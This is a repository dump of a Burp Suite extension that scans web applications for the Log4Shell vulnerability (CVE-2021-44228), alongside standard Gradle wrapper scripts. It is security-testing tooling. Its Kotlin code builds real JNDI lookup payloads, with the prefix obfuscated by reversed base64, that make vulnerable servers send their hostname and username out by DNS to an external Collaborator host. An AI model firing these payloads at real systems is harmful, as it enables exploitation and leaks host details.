42 | echo "$*" 43 | echo 44 | exit 1 45 | } 46 | 47 | # OS specific support (must be 'true' or 'false'). 48 | cygwin=false 49 | msys=false 50 | darwin=false 51 | nonstop=false 52 | case "`uname`" in 53 | CYGWIN* ) 54 | cygwin=true 55 | ;; 56 | Darwin* ) 57 | darwin=true 58 | ;; 59 | MINGW* ) 60 | msys=true 61 | ;; 62 | NONSTOP* ) 63 | nonstop=true 64 | ;; 65 | esac 66 | 67 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 68 | 69 | # Determine the Java command to use to start the JVM. 70 | if [ -n "$JAVA_HOME" ] ; then 71 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 72 | # IBM's JDK on AIX uses strange locations for the executables 73 | JAVACMD="$JAVA_HOME/jre/sh/java" 74 | else 75 | JAVACMD="$JAVA_HOME/bin/java" 76 | fi 77 | if [ ! -x "$JAVACMD" ] ; then 78 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 79 | 80 | Please set the JAVA_HOME variable in your environment to match the 81 | location of your Java installation." 82 | fi 83 | else 84 | JAVACMD="java" 85 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 86 | 87 | Please set the JAVA_HOME variable in your environment to match the 88 | location of your Java installation." 89 | fi 90 | 91 | # Increase the maximum file descriptors if we can. 92 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then 93 | MAX_FD_LIMIT=`ulimit -H -n` 94 | if [ $? -eq 0 ] ; then 95 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 96 | MAX_FD="$MAX_FD_LIMIT" 97 | fi 98 | ulimit -n $MAX_FD 99 | if [ $? -ne 0 ] ; then 100 | warn "Could not set maximum file descriptor limit: $MAX_FD" 101 | fi 102 | else 103 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 104 | fi 105 | fi 106 | 107 | # For Darwin, add options to specify how the application appears in the dock 108 | if $darwin; then 109 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 110 | fi 111 | 112 | # For Cygwin, switch paths to Windows format before running java 113 | if $cygwin ; then 114 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 115 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 116 | JAVACMD=`cygpath --unix "$JAVACMD"` 117 | 118 | # We build the pattern for arguments to be converted via cygpath 119 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 120 | SEP="" 121 | for dir in $ROOTDIRSRAW ; do 122 | ROOTDIRS="$ROOTDIRS$SEP$dir" 123 | SEP="|" 124 | done 125 | OURCYGPATTERN="(^($ROOTDIRS))" 126 | # Add a user-defined pattern to the cygpath arguments 127 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 128 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 129 | fi 130 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 131 | i=0 132 | for arg in "$@" ; do 133 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 134 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 135 | 136 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 137 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 138 | else 139 | eval `echo args$i`="\"$arg\"" 140 | fi 141 | i=$((i+1)) 142 | done 143 | case $i in 144 | (0) set -- ;; 145 | (1) set -- "$args0" ;; 146 | (2) set -- "$args0" "$args1" ;; 147 | (3) set -- "$args0" "$args1" "$args2" ;; 148 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;; 149 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 150 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 151 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 152 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 153 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 154 | esac 155 | fi 156 | 157 | # Escape application args 158 | save () { 159 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done 160 | echo " " 161 | } 162 | APP_ARGS=$(save "$@") 163 | 164 | # Collect all arguments for the java command, following the shell quoting and substitution rules 165 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" 166 | 167 | # by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong 168 | if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then 169 | cd "$(dirname "$0")" 170 | fi 171 | 172 | exec "$JAVACMD" "$@" 173 | -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @if "%DEBUG%" == "" @echo off 2 | @rem ########################################################################## 3 | @rem 4 | @rem Gradle startup script for Windows 5 | @rem 6 | @rem ########################################################################## 7 | 8 | @rem Set local scope for the variables with windows NT shell 9 | if "%OS%"=="Windows_NT" setlocal 10 | 11 | set DIRNAME=%~dp0 12 | if "%DIRNAME%" == "" set DIRNAME=. 13 | set APP_BASE_NAME=%~n0 14 | set APP_HOME=%DIRNAME% 15 | 16 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 17 | set DEFAULT_JVM_OPTS= 18 | 19 | @rem Find java.exe 20 | if defined JAVA_HOME goto findJavaFromJavaHome 21 | 22 | set JAVA_EXE=java.exe 23 | %JAVA_EXE% -version >NUL 2>&1 24 | if "%ERRORLEVEL%" == "0" goto init 25 | 26 | echo. 27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 28 | echo. 29 | echo Please set the JAVA_HOME variable in your environment to match the 30 | echo location of your Java installation. 31 | 32 | goto fail 33 | 34 | :findJavaFromJavaHome 35 | set JAVA_HOME=%JAVA_HOME:"=% 36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 37 | 38 | if exist "%JAVA_EXE%" goto init 39 | 40 | echo. 41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 42 | echo. 43 | echo Please set the JAVA_HOME variable in your environment to match the 44 | echo location of your Java installation. 45 | 46 | goto fail 47 | 48 | :init 49 | @rem Get command-line arguments, handling Windows variants 50 | 51 | if not "%OS%" == "Windows_NT" goto win9xME_args 52 | 53 | :win9xME_args 54 | @rem Slurp the command line arguments. 55 | set CMD_LINE_ARGS= 56 | set _SKIP=2 57 | 58 | :win9xME_args_slurp 59 | if "x%~1" == "x" goto execute 60 | 61 | set CMD_LINE_ARGS=%* 62 | 63 | :execute 64 | @rem Setup the command line 65 | 66 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 67 | 68 | @rem Execute Gradle 69 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% 70 | 71 | :end 72 | @rem End local scope for the variables with windows NT shell 73 | if "%ERRORLEVEL%"=="0" goto mainEnd 74 | 75 | :fail 76 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 77 | rem the _cmd.exe /c_ return code! 78 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 79 | exit /b 1 80 | 81 | :mainEnd 82 | if "%OS%"=="Windows_NT" endlocal 83 | 84 | :omega 85 | -------------------------------------------------------------------------------- /screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/log4shell-scanner/28a4540280db0f773a94302362e46aa87447ab11/screenshot.png -------------------------------------------------------------------------------- /src/main/kotlin/burp/BurpExtender.kt: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of Log4Shell scanner for Burp Suite (https://github.com/silentsignal/burp-log4shell) 3 | * Copyright (c) 2021 Andras Veres-Szentkiralyi 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | package burp 20 | 21 | import java.io.PrintWriter 22 | 23 | import java.net.URL 24 | import java.util.* 25 | import java.util.concurrent.ConcurrentHashMap 26 | 27 | const val NAME = "Log4Shell scanner" 28 | const val QUERY_NOTHING = 'q' 29 | const val QUERY_HOSTNAME = 'h' 30 | const val QUERY_HOSTUSER = 'u' 31 | 32 | class BurpExtender : IBurpExtender, IScannerCheck, IExtensionStateListener { 33 | 34 | private lateinit var callbacks: IBurpExtenderCallbacks 35 | private lateinit var helpers: IExtensionHelpers 36 | private lateinit var collaborator: IBurpCollaboratorClientContext 37 | private lateinit var staticPrefix: String 38 | 39 | private val crontab: ConcurrentHashMap> = ConcurrentHashMap() 40 | private val thread: Thread = object : Thread() { 41 | override fun run() { 42 | try { 43 | while (true) { 44 | sleep(60 * 1000) // 60 seconds -- poll every minute 45 | val interactions = collaborator.fetchAllCollaboratorInteractions().groupBy { it.getProperty("interaction_id") } 46 | for (entry in interactions.entries) { 47 | val payload = entry.key 48 | val (hrr, poff) = crontab[payload] ?: continue 49 | handleInteractions(listOf(Pair(hrr, poff)), entry.value, sync = false).forEach(callbacks::addScanIssue) 50 | } 51 | } 52 | } catch (ex: InterruptedException) { 53 | return 54 | } 55 | } 56 | } 57 | 58 | override fun registerExtenderCallbacks(callbacks: IBurpExtenderCallbacks) { 59 | this.callbacks = callbacks 60 | helpers = callbacks.helpers 61 | collaborator = callbacks.createBurpCollaboratorClientContext() 62 | 63 | staticPrefix = String(helpers.base64Decode("=QyeK5ERJpDTEFEU68yL".reversed())).reversed().toLowerCase(); 64 | 65 | callbacks.setExtensionName(NAME) 66 | callbacks.registerScannerCheck(this) 67 | callbacks.registerExtensionStateListener(this) 68 | 69 | PrintWriter(callbacks.stdout, true).use { stdout -> 70 | stdout.println("$NAME loaded") 71 | } 72 | } 73 | 74 | override fun doPassiveScan(baseRequestResponse: IHttpRequestResponse?): MutableList = 75 | Collections.emptyList() // not relevant 76 | 77 | override fun doActiveScan(baseRequestResponse: IHttpRequestResponse?, insertionPoint: IScannerInsertionPoint?): MutableList { 78 | val context = mutableListOf>() 79 | val collabResults = mutableListOf() 80 | for ((prefix, key) in listOf(Pair(QUERY_NOTHING, null), Pair(QUERY_HOSTNAME, "hostName"), Pair(QUERY_HOSTUSER, "hostName}-s2u-\${env:USERNAME:-\${env:USER}"))) { 81 | val payload = collaborator.generatePayload(false) 82 | val keyLookup = if (key == null) "" else "\${$key}" 83 | val bytes = "$staticPrefix${prefix}${keyLookup}.$payload.${collaborator.collaboratorServerLocation}:99999/s2test}".toByteArray() 84 | val request = insertionPoint!!.buildRequest(bytes) 85 | val poff = insertionPoint.getPayloadOffsets(bytes) 86 | val hs = baseRequestResponse!!.httpService 87 | crontab[payload] = Pair(EarlyHttpRequestResponse(hs, request), poff) // fallback in case of timeout 88 | val hrr = callbacks.makeHttpRequest(hs, request) 89 | val contextPair = Pair(hrr, poff) 90 | context.add(contextPair) 91 | collabResults.addAll(collaborator.fetchCollaboratorInteractionsFor(payload)) 92 | crontab[payload] = contextPair 93 | } 94 | val interactions = handleInteractions(context, collabResults, sync = true) 95 | synchronized(thread) { 96 | if (!thread.isAlive) thread.start() 97 | } 98 | return interactions 99 | } 100 | 101 | class EarlyHttpRequestResponse(private val hs: IHttpService, private val sentRequest: ByteArray) : IHttpRequestResponse { 102 | override fun getComment(): String = "" 103 | override fun getHighlight(): String = "" 104 | override fun getHttpService(): IHttpService = hs 105 | override fun getRequest(): ByteArray? = sentRequest 106 | override fun getResponse(): ByteArray? = null 107 | override fun setComment(comment: String?) {} 108 | override fun setHighlight(color: String?) {} 109 | override fun setHttpService(httpService: IHttpService?) {} 110 | override fun setRequest(message: ByteArray?) {} 111 | override fun setResponse(message: ByteArray?) {} 112 | } 113 | 114 | private fun handleInteractions(context: List>, 115 | interactions: List, 116 | sync: Boolean): MutableList { 117 | if (interactions.isEmpty()) return Collections.emptyList() 118 | val hrr = context[0].first 119 | val iri = helpers.analyzeRequest(hrr) 120 | val markers = context.map { (hrr, poff) -> 121 | callbacks.applyMarkers(hrr, Collections.singletonList(poff), Collections.emptyList()) as IHttpRequestResponse 122 | }.toTypedArray() 123 | return Collections.singletonList(object : IScanIssue { 124 | override fun getUrl(): URL = iri.url 125 | override fun getIssueName(): String = "Log4Shell (CVE-2021-44228) - " + (if (sync) "synchronous" else "asynchronous") 126 | override fun getIssueType(): Int = 0x08000000 127 | override fun getSeverity(): String = "High" 128 | override fun getConfidence(): String = "Tentative" 129 | override fun getIssueBackground(): String = "See CVE-2021-44228" 130 | override fun getRemediationBackground(): String? = null 131 | override fun getRemediationDetail(): String = "Version 2.15.0 of log4j has been released without the vulnerability." + 132 | "

log4j2.formatMsgNoLookups=true can also be set as a mitigation on affected versions." 133 | override fun getHttpMessages(): Array = markers 134 | override fun getHttpService(): IHttpService = hrr.httpService 135 | override fun getIssueDetail(): String { 136 | val sb = StringBuilder("

The application interacted with the Collaborator server ") 137 | if (sync) { 138 | sb.append("in response to") 139 | } else { 140 | sb.append("some time after") 141 | } 142 | sb.append(" a request with a Log4Shell payload

    ") 143 | 144 | interactions.map(this::formatInteraction).toSortedSet().forEach { sb.append(it) } 145 | 146 | sb.append("

This means that the web service (or another node in the network) is affected by this vulnerability. ") 147 | sb.append("However, actual exploitability might depend on an attacker-controllable LDAP server being reachable over the network.

") 148 | if (!sync) { 149 | sb.append("

Since this interaction occurred some time after the original request (compare " + 150 | "the Date header of the HTTP response vs. the interactions timestamps above), " + 151 | "the vulnerable code might be in another process/codebase or a completely different " + 152 | "host (e.g. centralized logging, SIEM). There might even be multiple instances of " + 153 | "this vulnerability on different pieces of infrastructure given the nature of the bug.

") 154 | } 155 | return sb.toString() 156 | } 157 | 158 | private fun formatInteraction(interaction: IBurpCollaboratorInteraction): String { 159 | val sb = StringBuilder() 160 | val type = interaction.getProperty("type") 161 | if (type == "DNS") { 162 | val hostUser = extractHostUser(helpers.base64Decode(interaction.getProperty("raw_query"))) 163 | if (hostUser == null) { 164 | sb.append("
  • DNS") 165 | } else { 166 | val (host, user) = hostUser 167 | sb.append("
  • By the host named $host") 168 | if (user != null) sb.append(" running as user $user") 169 | } 170 | } else { 171 | sb.append("
  • ") 172 | sb.append(type) 173 | } 174 | sb.append(" at ") 175 | sb.append(interaction.getProperty("time_stamp")) 176 | sb.append(" from ") 177 | sb.append(interaction.getProperty("client_ip")) 178 | sb.append("
    • ") 179 | return sb.toString() 180 | } 181 | }) 182 | } 183 | 184 | override fun consolidateDuplicateIssues(existingIssue: IScanIssue?, newIssue: IScanIssue?): Int = 0 // TODO could be better 185 | 186 | override fun extensionUnloaded() { 187 | synchronized(thread) { 188 | if (thread.isAlive) { 189 | thread.interrupt() 190 | } 191 | } 192 | } 193 | } 194 | 195 | private fun extractHostUser(query: ByteArray): Pair? { 196 | if (query[4] != 0.toByte() || query[5] != 1.toByte()) return null 197 | val len = query[12].toInt() 198 | if (len and 0xc0 != 0) return null 199 | val decoded = query.decodeToString(startIndex = 13, endIndex = 13 + len) 200 | when { 201 | decoded.startsWith(QUERY_HOSTNAME) -> { 202 | return Pair(decoded.substring(1), null) 203 | } 204 | decoded.startsWith(QUERY_HOSTUSER) -> { 205 | val parts = decoded.substring(1).split("-s2u-") 206 | if (parts.size != 2) return null 207 | return Pair(parts[0], parts[1]) 208 | } 209 | else -> return null 210 | } 211 | } --------------------------------------------------------------------------------